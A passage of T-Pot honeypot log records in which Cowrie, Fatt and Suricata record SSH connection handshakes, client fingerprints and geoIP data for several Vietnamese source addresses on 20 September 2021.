"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46444, "timestamp": "2021-09-20T11:11:12.552836", "@timestamp": "2021-09-20T11:11:12.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26008	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:13.135323+03	2021-09-20 14:15:12.715645+03	{"_id": "9gbnAnwBvYTbRNuEHh1P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40706, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.135323", "@timestamp": "2021-09-20T11:11:13.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26009	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:12.549166+03	2021-09-20 14:15:12.716646+03	{"_id": "9wbnAnwBvYTbRNuEHh3t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:46444 (192.168.176.2:22) [session: cde95387c075]", "session": "cde95387c075", "@version": "1", "protocol": "ssh", "src_port": 46444, "dest_port": 22, "timestamp": "2021-09-20T11:11:12.549166Z", "@timestamp": "2021-09-20T11:11:12.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26010	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:12.730088+03	2021-09-20 14:15:12.718645+03	{"_id": "-AbnAnwBvYTbRNuEHh3t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43758 (192.168.176.2:22) [session: da822f3cd439]", "session": "da822f3cd439", "@version": "1", "protocol": "ssh", "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:11:12.730088Z", "@timestamp": "2021-09-20T11:11:12.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26011	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:12.85843+03	2021-09-20 14:15:12.719644+03	{"_id": "-QbnAnwBvYTbRNuEHh3t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40706 (192.168.176.2:22) [session: 66532e6039d1]", "session": "66532e6039d1", "@version": "1", "protocol": "ssh", "src_port": 40706, "dest_port": 22, "timestamp": "2021-09-20T11:11:12.858430Z", "@timestamp": "2021-09-20T11:11:12.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26014	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:12.824928+03	2021-09-20 14:15:12.722643+03	{"_id": "BgbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "da822f3cd439", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:12.824928Z", "@timestamp": "2021-09-20T11:11:12.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26015	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:12.861215+03	2021-09-20 14:15:12.724646+03	{"_id": "BwbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "66532e6039d1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:12.861215Z", "@timestamp": "2021-09-20T11:11:12.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26016	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:13.031329+03	2021-09-20 14:15:12.725647+03	{"_id": "CAbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "da822f3cd439", "@version": "1", "timestamp": "2021-09-20T11:11:13.031329Z", "@timestamp": "2021-09-20T11:11:13.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26017	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:13.136099+03	2021-09-20 14:15:12.726646+03	{"_id": "CQbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "66532e6039d1", "@version": "1", "timestamp": "2021-09-20T11:11:13.136099Z", "@timestamp": "2021-09-20T11:11:13.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26018	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:13.135113+03	2021-09-20 14:15:12.727675+03	{"_id": "CgbnAnwBvYTbRNuEIR4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1681333337253636, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40706, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.135113Z", "@timestamp": "2021-09-20T11:11:13.135Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26019	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:10.193932+03	2021-09-20 14:15:12.728646+03	{"_id": "3wbnAnwBvYTbRNuEFR1g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:09.749460+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 163, "bytes_toserver": 206}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 404875499106196, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 51332, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:10.193932Z", "@timestamp": "2021-09-20T11:11:10.193Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26020	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:10.818392+03	2021-09-20 14:15:12.730647+03	{"_id": "4gbnAnwBvYTbRNuEFx0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f3138ab24b58", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:10.818392Z", "@timestamp": "2021-09-20T11:11:10.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26021	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:10.819103+03	2021-09-20 14:15:12.731646+03	{"_id": "4wbnAnwBvYTbRNuEFx0T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", 